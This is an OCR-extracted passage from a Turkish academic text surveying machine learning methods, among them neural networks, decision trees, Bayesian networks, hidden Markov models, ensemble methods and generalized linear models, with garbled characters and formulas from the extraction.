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Sekil 2.48: Dogrusal Ayrilabilir Verilerle DVM (Martono, Ali ve Salami, 2007)

Optimal hiperdiizlem bir optimizasyon maksimizasyonu problemi olarak ifade edilerek

bulunabilir (Burges, 1998; Kononenko ve Kukar, 2007):

n 1 n
W)=Y a;— EZaiajyiyj(xi,xj) (2.4)
j=1

L,j

Burada alfalar, asagidaki Ozelliklere sahip pozitif Lagrange carpanlarini (fonksiyonun

minimini bulmak icin kullanilan bir stratejinin degiskenleri) temsil eder:

(2.5)
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2.3.2.3. Yapay Sinir Aglan

Teknolojideki biiyiik ilerlemelere ragmen, nesne tanima gibi gorevler s6z konusu oldugunda,
insanlar ve bilgisayarlar arasinda hala 6nemli bir performans farki vardir. Biz insanlar, bir
konusmay1 kolayca anlayabilir, bir sesi ayirt edebilir veya resimdeki bir ¢igegi tantyabiliriz
ancak bilgisayar programlari i¢in bunlar ¢cok kolay degildir. Yapay Sinir Aglar1 (YSA), insan
beyninin bilgi iglem prensibini taklit ederek, Oriintii tantma gibi gorevlerde karsilastirilabilir

bir performans elde etmeyi amaglayan hesaplama modelleridir (Basheera ve Hajmeerb,

2000).

Insan beynine benzer sekilde, YSA mimarisinin temel islem birimi olan néronlar, agirlik
olarak adlandirilan dogrudan baglantilarla birbirine baglanirlar. Bir ndéronun roli, tiim
girdilerinin toplamini uygun agirliklar ile hesaplamak ve daha sonra ndéronun ¢ikis degerini
hesaplayan bir etkinlestirme fonksiyonuna iletmektir. McCulloch ve Pitts tarafindan 1943
yilinda Onerilen ilk ndron mimarisi (Piccini, 2004), Sekil 2.49’da gosterilmistir. Bu model,
basit bir esik etkinlestirme fonksiyonu kullanmigken, giiniimiizde sigmoid, lineer, teget,

Gauss, vb. gibi diger fonksiyonlar da kullanilabilir durumdadir.

- sapma
g1
. > a2 l
R x . .
- etkinlestirme
s 3 — y Gl o
o f . transfer
. fonksiyonu

. esik degeri
—— ™ an

an
agirhklar

Sekil 2.49: McCulloch ve Pitts tarafindan 6nerilen ndron modeli (McCulloch ve Pitts, 1943)

Bir YSA c¢esitli noron katmanlarindan olugur. Basit bir YSA, en azindan iki katmandan
olusur; Oznitelik vektorleri bi¢imindeki verileri kabul etmekten sorumlu olan girdi
katman1 ve sorunun ¢oziilme sonucunu gosteren c¢ikti katmani. Siniflandirma igin, birinci
katmandaki ndronlarin sayisi, verilerden ¢ikarilan/secilen 6zelliklerin sayisina esitken, ¢ikti
katmanindaki noronlarin sayisim1 siniflarin sayisi belirler. Bu basit, iki katmanli mimari,

yalnizca dogrusal olarak ayrilabilir verilere sahip problemleri ¢ozebilir (Jain, Mao ve
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Mohiuddin, 1996). Daha karmagik veri topolojilerini modellemek icin, bu iki katman arasina
bir veya daha fazla gizli katman tanitilir. Katman basina kullanilacak olan gizli katmanlarin
ve noronlarin sayisi, hesaplama karmagsikligi ve performans arasindaki bir iligki olarak

YSA’nin tasarimcisi/kullanicisi tarafindan kararlastirilacak olan bir parametredir.

YSA’da 68renme, veri topolojisini yansitan bir model olusturma siireci olarak tanimlanir
ve belirli bir gorevi yerine getirmek icin kullamlir. Bu, performansi arttirmak igin
her katmandaki agirliklarin giincellenmesini gerektirir. Literatiirde kullanilan dort temel
ogrenme kurali vardir: Hata Diizeltme, Boltzmann Ogrenme, Hebbian Ogrenme ve
Rekabetci Ogrenme (Jain, Mao ve Mohiuddin, 1996). Asagida, en yaygin kullanilan 63renme
yontemlerinden biri olan Hata Diizeltme Kuralinin arkasindaki ana fikir kisaca a¢iklanmugtir.
Literatiirde farkli isimler altinda bulunabilen Hata Diizeltme Kurali, iki katmanli ileri
beslemeli bir YSA 6grenme kurali i¢in ¢ogunlukla Widrow-Hoff Kurali, En Kiigiik Ortalama
Kare Yontemi veya Delta Ogrenme Kurali olarak adlandirilirken, ¢oklu katmanlardan
(gizli katmanlar dahil) olusan ileri beslemeli bir YSA, Geri-Yayilim olarak adlandirilir

(Kononenko ve Kukar, 2007).

YSA’daki 6grenme siirecini agiklamak icin, Sekil 2.50°de gosterilen, standart giris, ¢ikis ve
gizli bir katmana sahip basit mimari dikkate alinabilir. Genel olarak 68renmenin hedefi,
istenen ¢ikt1 (d) ile YSA (y) tarafindan beklenen cikti arasindaki fark olarak tanimlanan

hatay1 en aza indirmektir.

Bu islem, iki asamada gergeklestirilir; ilk asamada algoritma, agin her katmaninda
ilerleyerek ciktinin degerini hesaplar. Agirliklara rastgele baslangic degeri atandiktan sonra,

ilk gizli katmanin girdisi agsagidaki gibi hesaplanir:
ui(s) = wl *Xj(s) (2.6)

Burada X(s) 6grenme Ornegini, W uygun agirliklari ve N, giris katmanindaki noéronlarin
sayisint temsil eder. Cogunlukla, tim agirliklarin rastgele sifir ile baslatildigi durumdan
kacinmak icin sapma olarak adlandirilan Xj ilave girdisi hesaplamaya dahil edilir. Her néron

icin ¢iktr agagidaki ifade kullanilarak hesaplanir:

hi(s) = A(u;i(s)) (2.7)
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Gikis
Katmani |

Sekil 2.50: Basit bir Yapay Sinir A§1 Modeli (Krenker, Bester ve Kos, 2011)

Burada A, etkinlestirme fonksiyonudur. Birden ¢ok gizli katman1 olan bir mimaride, birinci
gizli katmanin ¢iktisi ikinci gizli katmanin girdisi olarak kullanilir ve bu sekilde hesaplamaya
devam edilir. Mimarideki son katmana kadar bu islem devam eder, giris ve ¢ikis degerleri ise

asagidaki gibi hesaplanir:

Ny
w;(s) =Y Wj;xhj(s)
= 2.8)

Burada N, gizli katmandaki noronlarin sayisidir. Bu, ileri dogru hesaplama ile ilk agsamay1
tamamlar. Simdi, bi¢imsel olarak asagidaki gibi tamimlanan hatanin, en aza indirilmesini

iceren ikinci agsamaya donelim:

(Di(s) = Yi(s))? (2.9)

1=

1

1 NV 2 1
E(S):Ezel'(S) :E
i=1

I
—_

Burada Y; algoritma tarafindan tahmin edilen ¢iktiy1, D; gergek (istenen) ¢iktiyr ve Ny
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ise toplam tahmin sayisim gosterir. Egimli Azalim, hatalarin en aza indirilmesi i¢in
en cok kullanilan yoOntemlerden biridir. Ana fikri, negatif inis yOniindeki agirliklarin
giincellenmesidir. Bigimsel olarak asagidaki sekilde ifade edilir:

JdE(s)

ngincel = Weski — n* m (2.10)

Burada 1, Ogrenme Hiz1 olarak tanimlanir ve 0 < 1 < 1 araliginda pozitif bir deger

alir. Sekil 2.50’deki gibi bir mimaride, agirliklarin giincellenmesi i¢in asagidaki formiil

kullanilir:
ngiincel@) _ Wf:iski(Z) s aE;<S) % hl‘(S)
J J du,(s)
aE( ) (2.11)
glincel(1) _ ypeski(l) s .
Wii = Wi M* Ss) XS

Burada birinci denklem, ¢ikti katmani ve gizli katman arasindaki agirliklan tutarken, gizli
katman ve giris katmam arasindaki agirliklar ikinci denkleme gore giincellenmektedir. Bu
sekilde, YSA ile 6grenmenin tek bir deviri tamamlanir. Maksimum sayida devire ulasilana

veya hata bir esik degerin altina diisene kadar bu iglem tekrarlanir.

2.3.2.4. Karar Agaclan

Bir karar agaci, siniflandirmalari veya kararlari temsil eden yapraklar1 ve bu siniflandirmay1
ortaya ¢ikaran Ozellik baglasimlarimi temsil eden dallara sahip aga¢ benzeri bir yapisal
modeldir. Sekil 2.51°de ikili bir karar agac1 6rnegi verilmis olup, burada C agacin kok
diigiimiinii, A; (i = 1,2) agacin yapraklarini yani terminal diigiimleri ve B; (j = 1,2,3,4)

ise agacin dallarin1 yani karar noktalarin1 gostermektedir.

Bir giris vektoriiniin agac siniflandirmasi, kok diigiimiinden baglayip yaprakta bitecek sekilde
agaci caprazlamasina gecerek gerceklestirilir. Agacin her diiglimii, tek bir giris degiskenine
dayanan bir esitsizligi hesaplar. Her yaprak belirli bir sinifa atanir. Giris uzayin bolmek i¢in
kullanilan her bir esitsizlik sadece bir giris degiskenine baglidir. Dogrusal karar agaclari,
her bir diigtimde hesaplanan esitsizligin ¢coklu degiskenlere bagli olabilen keyfi bir dogrusal
bicim almasi disinda, ikili karar agaclarina benzerdir. Ayristirma kriterlerinin farkli sekilde

secilmesiyle, siniflandirma ve regresyon agaclari ile diger aga¢ modelleri gelistirilmisgtir.

Sekil 2.51°de goriilebilecegi iizere, bir karar agac1 “eger - sonra” kurallarina baghdir ancak
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Sekil 2.51: Ornek Karar Agac1 Yapisi (Safavian ve Landgrebe, 1991)

hicbir parametre ve metrik gerektirmez. Bu basit ve yorumlanabilir yapi, karar agaclarini
cok tipli Oznitelik problemlerinin ¢oziimii i¢in elverigli hale getirir. Karar agaclari ayni
zamanda eksik degerleri veya giiriiltii verilerini de yonetebilmektedir. Bununla birlikte karar
agaclari, diger makine 68renme yontemlerinin ulagabilecegi en uygun dogrulugu garanti
edemezler. Karar agaclari, 6grenmek ve uygulamak icin kolay olsa da, siber saldirilarin
algilanmasi/tespiti gibi problemlerin ¢6ziimii icin popiiler yontem gibi gériinmemektedir.
Popiiler olmamasinin olasi bir nedeni, bir dizi egitim 6rnegi ile uyumlu olan en kiigiik karar

agacini aramanin NP karmasikliginda oldugunun bilinmesidir.

2.3.2.5. Bayes Aglan

Inanc¢ ag1 olarak da adlandirilan Bayes Ag1, belirsiz degiskenler hakkindaki kararlar icin
grafik bir modelde faktorlii birlesik olasilik dagilimini kullanir. Bayes Agi simiflandiricist,
siiflar ve veri x’in bir H hipotezini veren Bayes kuralina dayanir ve asagidaki sekilde ifade
edilir:

P(x|H)+P(H)

@ (2.12)

P(H|x) =

Burada P(H), her bir sinifin bir x degiskeni hakkinda bilgi olmadan 6nceki 6nciil olasiligini,

P(H|x) olas1 simiflar iizerinde degisken x’in sonsal olasiligini, P(x|H) ise H verildiginde x’in
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kosullu olasiligin1 gostermektedir.

Sekil 2.52’de gosterildigi gibi, Bayes Agi rastgele degiskenleri temsil eden diigtimler,
degiskenler arasindaki olasiliksal bagimliliklar1 temsil eden yaylar ve bagimliliklarin ne
kadar giiclii oldugunu gosteren kosullu olasiliklar ile sunulurken, baglantisiz diigiimler

birbirinden bagimsiz degiskenleri ifade eder.

< \
/ <
_ xh
2 x6
wdl

Sekil 2.52: Ornek bir faktorlii birlesik olasilik dagilimi ile Bayes Ag1

Her diigiim, dii§imiin ana degiskenlerine karsilik gelen bir olasilik fonksiyonu ile
iligkilendirilir. Diiglim her zaman secilen diigtimler i¢in ana diigtimlerin kanitin1 veren sonsal
olasiliklar1 hesaplar. Ornegin Sekil 2.52’de agin faktorlii birlesik olasilig1 asagidaki sekilde

hesaplanmaktadir:
P(x1,x2,%3,%4,%5,%6) = P(x6|x5) * P(x5|x3,%2) * P(xa]x2,%1) % P(x3]x1) % P(x2|x1) * P(x1)
Burada P(x) degiskenin olasihigini, P(x|y) ise degiskenlerin kosullu olasiligini ifade eder.

Naif Bayes, tiim degiskenlerin bagimsiz oldugunu kabul eden basit bir Bayes Ag modelidir.
Naif Bayes siniflandirmasi icin Bayes kuralim1 kullanarak, her bir test verisi x icin siif
etiketini belirleyen maksimum olabilirlik hipotezini bulmamiz gerekir. Bir gézlem verisi x

ve bir siif etiketi grubu C={c;} verildiginde Naif Bayes simflandirici, veri i¢in En Biiyiik
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Sonsal Olasilik Hipotezi yardimiyla asagidaki sekilde ¢oziilebilir:

argmaxP(x|c;) * P(c;) (2.13)

CjeC
Naif Bayes, sonu¢ cikarim gorevleri icin etkilidir. Bununla birlikte Naif Bayes, ilgili
degiskenlerin giiclii bir bagimsizlik varsayimina dayanmaktadir. Sasirtict bir sekilde,

bagimsizlik varsayimi ihlal edilmis olsa bile yontem iyi sonuclar vermektedir.

2.3.2.6. Sakli Markov Modeli

Onceki algoritmalarla, 6rnek uzaydan bagimsiz ve 6zdes olarak dagitilmis orneklerden
olusan veri kiimeleri i¢in makine 6grenme yontemlerine deginildi. Bazi durumlarda, veriler
ardigik ve diziler korelasyona sahip olabilir. Sirali 6grenme problemlerini (6rn.; konusma
tamima) ¢ozmek i¢in, dinamik bir Bayes Ag yontemi olan Sakli Markov Modeli (SMM)

gelistirilmistir. SMM, sirali desenlerin denetimli 6grenmesi i¢in Onerilmistir (Rabiner, 1989).

x0 — ] W 32— 23— x4 Sakh Durumlar

@ @ Gozlemler

Sekil 2.53: Sakli Markov Model Mimarisi

SMM’de gozlemlenen Ornekler y, (r = 1,2,---,T), t aninda gozlemlenmemis bir x;
durumuna sahiptir. Sekil 2.53, SMM’in genel bir mimarisini gosterir. Her bir diigiim, ¢
aninda gizli durum x; ve gozlemlenen deger y, ile bir rastgele degiskeni temsil eder.
SMM’de, durum x;’nin gozlemlenen ornekler y, tizerinde bir olasilik dagilimina sahip oldugu
ve gozlemlenen Ornekler dizisinin durum dizisi hakkinda bilgi icerdigi varsayilmaktadir.
Istatistiksel olarak SMM, gegerli ger¢ek durum x,’nin sadece gizli degiskenin x; | degerine
bagh oldugu, ancak ge¢mis ve gelecekteki durumlardan bagimsiz oldugu Markov 6zelligine
dayanmaktadir. Benzer sekilde, gozlem y, sadece x; gizli durumuna baghdir. SMM i¢in
en iinlii ¢6zlim, c¢ikt1 dizilerinin bir veri setini veren SMM’in parametrelerinin maksimum

olabilirlik tahminini tiireten Baum-Welch algoritmasidir. Yukaridaki gosterimler kullanilarak
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SMM asagidaki gibi formiile edilebilir. ¥ ve X’in sabit gozlemlenmis Ornekler oldugu

verildiginde ve yukarida tanimlanan 7', dizinin uzunlugunu belirttiginde Y = (y1,y2,- -+ ,yr)
ve X = (x1,x,---,xr) olarak ifade edilir, daha sonra S = (sq,s2, -+ ,sy) seklinde durum
kiimesi S ve O = (01,02, -+ ,0n) seklinde gozlemlenebilir veri seti O elde edilir. A’y1

durum gegisi dizisi olarak tammlayalim ve [A;;], i =1,2,--- M, j=1,2,--- ,M seklinde
gosterelim. Burada her bir [A; ;] elemani, s;’den s;’ye doniisim olasilifini temsil eder.

Doéniistim asagidaki gibi hesaplanabilir:

[Ai j] = P(x = sjlx—1 = si) (2.14)

B’yi her bir eleman B j, gbzlem o nin durum s;’ye sahip olma olasihigini temsil edecek
sekilde gozlem dizisi olarak [B j,k], j=12,--- M, k=1,2,--- N biciminde tanimlayalim.

Buna gore gozlem dizisi asagidaki gibi hesaplanabilir:

Bji] = P(yi = oxlx; = s) (2.15)
’yi, Ty, y; gozleminin s;, i = 1,2, - - - , durumuna sahip olma olasiligini temsil edecek sekilde
[m], t = 1,2,---,T bi¢iminde baslangi¢ olasilik dizisi olarak tanimlayalim. 7, asagidaki

sekilde ifade edilebilir:

;= P(x1 = S,') (216)

Daha sonra yukaridaki tanimlar1 kullanarak bir SMM agagidaki gibi tanimlanr:

A =(A,B,x) (2.17)

Yukaridaki analiz, algoritmada gozlemlerin olasiliginin degerlendirilmesidir ve asagidaki

dort adimda 6zetlenebilir (Rabiner, 1989):

1. Adim: Basglangic durum dagilimi 7’ye gore t = 1 i¢in ilk durum degerini ata.
2. Adim: Denklem 2.15’e gore t zamanindaki gozlem degerini ¢ikar.
3. Adim: Denklem 2.16’ya gore ¢ + 1 zamanindaki yeni gézlem degerini ¢ikar.

4. Adim: t =T oluncaya kadar 2. adimdan 4. adima dogru isleme devam et.

Denklem 2.17°de tammmlaman SMM g6z Oniine alindiginda, belirli bir durum dizisi X i¢in
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gozlemlerin Y olasiligin1 tahmin edilebilir ve durum dizisi X’in olasilig1 asagidaki sekilde

hesaplanir:
T
P(YIX,2) =[] POl 2), (2.18)
=1
P(X|A) = m xAppxAgz % -~ xAr_17 (2.19)

Buradan durum dizisi X i¢in gozlem dizisi Y ’nin olasilig1 asagidaki gibi elde edilir:
P(Y[A) =} P(Y|X,A)*P(X|A) (2.20)
X

SMM algoritmasini kullananlar, genellikle belirli bir gézlem dizisi i¢in gizli durum dizisini
tahmin etmekle daha cok ilgilenirler. Bu kod ¢6zme islemi, kismi gozlem dizisi i¢in en olasi
durum dizisini elde etmek iizere her adimda en yiiksek olasilig1 kullanan Viterbi algoritmasi
olarak bilinen iinlii bir ¢oziime sahiptir. Bir SMM modeli A verildiginde, gozlem dizisi
(y1,¥2,++,y;) i¢cin ¢ zamanindaki durum dizisi (x,x2,---,X;) nin maksimum olabilirligi

asagidaki gibi bulunabilir:

pi(i) = max  (P(x1,Xx2, -, % = S$i,Y1,2,-* ,i|A)) (2.21)

X15X25 0 5 X —1
Viterbi algoritmasi i¢in gerekli adimlar asagida listelenmistir:

1. Adim: Baslangic durum dagilimi 7’ye gore t = 1 i¢in ilk durum degerini ata.
pl(i)ZEi*B,'(y1>, 1<i<M, ‘I’l(i):() (222)
2. Adim: Asagidaki denklemlere gore + zamanindaki gozlem degerini ¢ikar.

p:(j) = ml_ax[pt(i) *Aijl*Bj(y), 2<t<T, 1 <j<M, (2.23)

vi(j) = argmax[p,—1 (i) *Ayj], 2<t < T, 1 < j< M, (2.24)

1

3. Adim: t = T oluncaya kadar 2. adimdaki iglemleri yinele.

SMM siral1 denetimli 6grenme problemlerinin ¢oziimii i¢cin kullanilabilir. Markov 6zelligine

uygun veriler oldugunda, gozlenen dizilerin gizli durumunu yiiksek dogruluk derecesiyle
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siniflandirmak veya tahmin etmek i¢in zarif ve saglam bir yontemdir. Bununla birlikte, gizli
siralt haller arasindaki gercek iliski, 6nerilen SMM yapisina uymadig1 zaman, bu algoritma
koti simiflandirma veya tahminle sonuglanacaktir. Ayn1 zamanda, 6zellikle uzun ve ¢ok
sayida etiket oldugunda, biiyiik egitim veri setleri kullanildiginda ve karmasik hesaplamalar
gerektiginde SMM algoritmasi kullaniciya sikinti ¢ikarabilir (Dietterich, 2002). Ge¢mis
durumlar, gelecekteki durumlar ve mevcut durumlar arasindaki bagimsizlik varsayimu, iyi

siniflandirma ya da tahmin dogrulugu elde etmede SMM nin gelismesini de engellemektedir.

2.3.2.7. Kolektif Ogrenme (Bootstrap, Bagging ve AdaBoost)

Karmagik makine 68renmesi senaryolarinda, tek bir makine 6grenme algoritmasi tatmin
edici bir dogrulugu garanti edemez. Aragtirmacilar, tek bir algoritmanin Ogrenme
performansi iizerinde bir performans elde edebilmek icin bir grup 6g§renme algoritmasi
olusturmaya caligirlar. Ilerleyen kisimda Rastgele Orman, Yerine koyarak ornekleme
(Bagging), Ozyiikleme (Bootstrap) ve Uyarlamali Artirim (AdaBoost) gibi birkag popiiler

kolektif 6grenme metoduna kisaca deginecegiz.

Ozyiikleme (Bootstrap) daha ¢ok bir tahmincinin beklenen degeri ve varyansi gibi genel
istatistik veriler hakkinda daha bilgilendirici bir tahminde bulunmak i¢in kullanilir. Bir
orneklem kiimesi X = {x;}(i = 1,2, ,m), bir parametre kiimesi 6 ve bir §grenme modeli
£(0) verildiginde bir makine 6grenme yontemi, E(f(0),X ) 6grenme hatalarini en aza indirir.
Ozyiiklemede, m veri noktas1 veri kiimesi X ’ten yerine koyarak rastgele secilir. Bu 6rnekleme
islemi birbirinden bagimsiz olarak B kez tekrarlanarak B adet Ozyiikleme (bootstrap)
orneklem kiimesi elde edilir. f(60) fonksiyonundaki parametreler, her 6rneklem kiimesiyle
tahmin edilebilir ve bir 6zyiikleme (bootstrap) tahmin kiimesi {6;}(j = 1,2,---,B) elde
edilir. Daha sonra ozyiikleme (bootstrap) ornekleri iizerindeki tahmin asagidaki sekilde

bulunur:
A B A
6°=Y 9 (2.25)
j=1

Ozyiikleme (Bootstrap), X ten tekrarlanan ornekleri sectiginde, her bir 6rneklem her bir
se¢im igin 1/m secilme olasiligina sahiptir. m yeterince biiyiik oldugunda, x;’nin mpoorsrap
defa secilme olasilig1, birim ortalama ile Poisson dagilimidir. Parametrelerin yanli olmayan

tahmini é, istatistiksel olarak 6rnek veri X iizerinden elde edilebilir. Daha sonra, parametre
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beklenen degerinin 6zyiikleme (bootstrap) tahminini asagidaki sekilde elde edilebilir:
beklenen deger,(6) = 6% — 6 (2.26)

Parametre varyansinin 6zyiikleme (bootstrap) tahmini ise agsagidaki sekilde hesaplanir:

vary(8) = é*]i(éj—é)z (2.27)
Ozyiikleme toplama (bootstrap aggregating=bagging), bir siniflandirici grubu icin
veri kiimelerini 6rneklemeyi amaglamaktadir (Breiman, 1996). Ozyiikleme toplama
(bagging)’da, veri kiimesi X’den m < m veri noktasi yerine koyarak rastgele secilir. Bu
ornekleme islemini bir¢cok kez tekrarlayarak, siniflandiricilarin grubunun her bir iiyesi icin
farkli egitim 6rneklem kiimesi elde ederiz. Nihai karar ise oylama ile iiye-model kararlariin
ortalamasidir. Ozyiikleme toplama (bagging) genellikle karar agaclarinin veya diger makine
o0grenme modellerinin kararliligimi artirmak i¢in kullanilir. Bununla birlikte 6zyiikleme

toplama (bagging), yerine koyma nedeniyle gereksiz ve kayip bilgi ile de sonuclanabilir.

Artirma (Boosting), keyfi secilmis bir yiiksek dogruluk orani ile agirlikli bir e8itim veri
seti kullanarak giiclii bir makine 6grenme algoritmasini desteklemek i¢in kullanilir. Artirma
(boosting) algoritmalari, rastgele tahminden daha iyi performans gosteren zayif bir makine
O0grenme algoritmasi bularak baslar. Ardindan, iiye simiflandiricilar egitim verilerinin en
bilgilendirici alt kiimesi tizerinden dogru bir siniflandirma grubuna atilir. Artirma (Boosting),
ozylikleme toplama (bagging)’y1 iki sekilde degistirir: 6rnegi agirliklandirarak ve oylamay1
agirliklandirarak. Veri seti giiriiltiisiiz oldugunda artirma (boosting), ozyiikleme toplama
(bagging)’dan daha yiiksek dogrulukla sonuc¢lanabilir olmasina ragmen 6zyiikleme toplama

(bagging) giiriiltiilii verilerde daha saglam kalmaktadir.

Uyarlamali artinm (Adaptive boosting= AdaBoost), artirnm (boosting) algoritmalarinin en
popiiler ¢esididir. m 6rnekli S egitim veri kiimesi (|S| = m) ve [ boyutlu bir sinif etiket kiimesi
C={C,,Cy, - ,C;} verildiginde, x; € X bir 6rnek, y; € Y ve y; € C olmak iizere, 6rnek x; sinif
etiketini olugturan eslestirilmis bir veri kiimesi S = {(x;,y;)} (i = 1,2,---,m) seklinde elde
edilir. Yinelemeli adim #’de bir iiye siniflandirici i¢in egitim kiimesi olarak secilme olasiligini
belirlemek iizere her bir 6rnek x;’ye bir 6rnek agirhigt wy (i), (t = 1,2,---,T) atanmr. Ornek

dogru sekilde siniflandirilmamigsa bu agirlik artirilir. Ayni sekilde, ornek dogru bir sekilde
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siniflandirilmigsa agirhik azaltlir. Bu sekilde artirim, her yinelemeli adim k iizerinden en
bilgilendirici veya zor ornekleri sececektir. AdaBoost algoritmalari, Sekil 2.54’te gosterilen

ve agagida verilen 5 adimla 6zetlenebilir (Freund, Schapire ve Abe, 1999):

1. Adim: wi(i) = 1/m (i =1,2,--- ;m) 6rnek agirlid1 i¢in baglangi¢ degeri ata.

2. Adum: hy, hy(x;) = y; iken +1, degilse -1 etiketi olarak atanmak iizere w (i) ve S tarafindan
tanimlanan agirliklandirilmis 6rneklerle /; : X — Y zayif 68renenini egitin.

3. Adim: hy’nin 6grenme hatasint & = Y., (x,) () Wi (i) ve agirhigi o = (1/2) xIn[(1—&)/&]
seklinde hesaplayin.

4. Adim: Z; normalizasyon faktoriini gostermek iizere wy(i)’nin bir dagilim
olmasimi saglamak icin egitim kiimesi iizerinde Ornek agirhiklarii wyi (i) =
(wr(i)exp(—wyryile(xi)))/Z; seklinde giincelleyin.

5. Adim: 2. adimdan 4. adima kadar olan islemleri + = 7 oluncaya kadar yineleyin,
siniflandiric1 toplulugu arasinda agirlikli oylama; H(x) = sign(Y_ | azh(x)) seklinde

hesaplanir.
Yukaridaki asamalarda oy, adim #’de 6rnekleri siniflandirici A, ye atarken giiveni olcer.

AdaBoost, makine 0grenme algoritmalarinda yaygin bir durum olan problemlere uyum
gosterme sorunu yasamadan dogru makine 6grenme sonuglar1 sunar. AdaBoost, uygulama
icin basit ve saglam bir teorik arka plana ve iyi bir genellemeye sahiptir. Bu nedenle
AdaBoost, 0zellik secimi gibi ¢esitli 68renme gorevleri igin bagsarili sekilde kullanilabilir.
Ancak Adaboost, sadece a¢gozlii 6grenme sonrasi en uyguna yakin 6grenme ¢oziimlerini

garanti edebilir.

2.3.2.8. Rastgele Orman

Rastgele orman algoritmasi, en popiiler yerine koyarak Ornekleme (Bagging) kolektif
ogrenme siiflandiricisidir (Breiman, 2001). Rastgele orman, bir¢cok karar agacindan
olusur. Rastgele ormanlarin ciktisi, tim tekil agaclarin verdigi oylar ile belirlenir. Her
karar agaci, bir aga¢ algoritmasi kullanarak giris verilerinin 6zyiikleme (bootstrap)
orneklerini siniflandirarak olusturulur. Daha sonra, her agac test verilerini simiflandirmak
icin kullanilacaktir. Her agacin herhangi bir test verisini etiketleme i¢in bir karar1 vardir. Bu
etikete oy denir. Sonug olarak orman, agaclar arasinda en fazla oyu topladiktan sonra test

verilerinin simiflandirmasi i¢in nihai karari verir.
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Ornek 8={x}

Veri 8,1 giincelle I - Veri 8, /' giincelle - — Veri S Ji giincelle

A

w, ()}

A J

Ogreneni giincelle

thx)}

Sekil 2.54: AdaBoost Algoritma Akis1

K agactan olusan bir orman {7y,T3,--- , T/} verilsin, k’inc1 (k = 1,2,--- ,K) agag igin bir
rastgele vektor 6 tretilir. {6,/ vektorleri, aga¢c modelleme icin bagimsiz 6zdesce dagilmisg
rastgele vektorlerdir. Bu vektorler agag yapisinda tammlanmustir. Ornegin, rastgele secimde,
bu vektorler rastgele olarak 1,2,---,N arasindan secilen rastgele tam sayilardan olusur;
burada N, ayrik sayidir. Egitim veri kiimesini ve 6; vektorlerini kullanarak bir agac, biiyiir
ve x girisindeki en popiiler sinif i¢in bir birim oy verir. k’inc1 aga¢ simiflandiricisint f(x, )
olarak gosterirsek, bu agaclarin toplanmasindan olusan rastgele bir orman f(x, 6), (k =

1,2,---,K) bigiminde elde edilir.

Rastgele ormanlarin dogrulugu, tekil agaclarin giicline ve agaclar arasindaki bagimliligin
Olciisiine baghdir. Dahasi rastgele orman algoritmasi, aga¢ yapisinda yanli degerlerden
kacinmak icin 6zyiikleme (bootstrap) kullanir, boylece egitim ve testlerde ¢apraz dogrulama
gerekmez. Bununla birlikte rastgele orman, algoritmasindaki tahmin dogrulugunun
maksimizasyonu nedeniyle sinif dengesizliginden etkilenir. Agag tabanli yontemler yiiksek
bir varyansa sahiptir. Agaclarin hiyerarsik yapisi kararsiz bir sonug iretebilir. Bir¢ok
agacin ortalamasi, 6rnegin yerine koyarak 6rnekleme (bagging) kullanarak, kolektif 6grenme

algoritmalarinin kararhiligin arttirabilir.

2.3.2.9. Genellestirilmig Dogrusal Model
Genellestirilmis Dogrusal Model (GLM: Generalized Linear Model), John Nelder ve Robert

Wedderburn (1972) tarafindan formiile edilen gelismis bir istatistiksel modelleme teknigidir.
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Yanit degiskeni y’nin normal dafilim disginda bir hata dagilimina sahip olmasina izin
veren diger bircok modeli kapsayan bir semsiye terimdir. GDM, dogrusal modeller sinifini
igerir ve genisletir (Richards, 2014). S6z konusu modeller, Dogrusal Regresyonu, Lojistik

Regresyonu ve Poisson Regresyonunu icerir.

Dogrusal Regresyon Modelinde, yanit (diger adiyla bagimli/hedef) degiskeni ‘y’, tim ‘X’
tahmin edicilerinin (diger adiyla bagimsiz/regresyon/agiklayici/gézlemlenen degiskenler)
dogrusal bir fonksiyon/degiskenlerin dogrusal kombinasyonu olarak ifade edilir. Yani yanit
ve tahmin ediciler arasindaki temel iligki dogrusaldir (iligkiyi diiz bir ¢izgi seklinde basitce
gorsellestirebiliriz). Ayrica, yanit degiskeninin hata dagilimi da normal olarak dagilmalidir.
Bu nedenle dogrusal bir model olusturulur. Dogrusal modellerin avantaji ve kisitlamalari,
hesaplama basitligi, yorumlanabilir bir model formu ve uyumun kalitesi hakkinda belirli

tanisal bilgileri hesaplama yetenegini icermesidir.

Genellestirilmis dogrusal modeller, uygulamada siklikla ihlal edilen bu kisitlamalari gevsetir.
Ornegin, ikili (evet/hayir veya 0/1) yanitlar, simflar arasinda ayni varyansa sahip degildir.
Ayrica, bir lineer modeldeki terimlerin toplami, tipik olarak, cok negatif ve ¢ok pozitif
degerleri kapsayan ¢ok genis araliklara sahip olabilir. Ikili yanit 6rnegi icin yamitin [0,1]
aralifinda bir olasiliga sahip olmasi istenir. Genellestirilmis dogrusal modeller, dogrusal
model varsayimlarim ihlal eden yanitlar1 iki mekanizma araciligiyla barindirir: bir baglanti
fonksiyonu ve bir varyans fonksiyonu. Baglanti fonksiyonu, hedef araligi potansiyel
olarak -oo’dan +eo’a doniistiiriir, boylece basit dogrusal model bi¢imi korunabilir. Varyans
fonksiyonu, tahmini yanitin bir fonksiyonu olarak varyansi ifade eder, boylece sabit olmayan

varyanslarla (ikili yanmitlar gibi) yanitlart barindirir.

Yani GDM modelleri, temel iligkileri dogrusal olmasa da yanit ve tahmin degiskenleri
arasinda dogrusal bir iliski kurmamiza izin verir. Bunu, yanit de8iskenini dogrusal bir
modele baglayan bir baglanti fonksiyonu kullanilarak miimkiin kilar. Dogrusal Regresyon
modellerinden farkli olarak, yanit degiskeninin hata dagiliminin normal olarak dagilmasina
gerek yoktur. Yanit degiskenindeki hatalarin iistel bir dagilim ailesini takip ettigi varsayilir
(6rnegin; ikili ve sayim verilerini igleyebilen Bernoulli, Binom, Poisson gibi ayrik dagilimlar
veya Normal, Gama, Ters Gauss gibi siirekli dagilimlari). Bu durumlarda da uygulanabilecek
bir lineer regresyon modelini genellestirmeye calistiZimiz i¢in, “Genellestirilmis Dogrusal

Model” ad1 verilmistir.
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GDM neden kullanilir?

Dogrusal Regresyon modeli asagidaki durumlarda uygun degildir:

* X ve y arasindaki iligki dogrusal degilse aralarinda dogrusal olmayan bir iligki vardir.

Ornegin, X arttikca y iistel olarak artarsa.

* y’deki hatalarin varyansi (yaygin olarak Lineer Regresyonda esdegiskenlik olarak

adlandirilir) sabit degildir ve X ile degisir.

* Yanit degiskeni siirekli degil, ayrik/kategoriktir. Dogrusal Regresyon, yalnizca siirekli
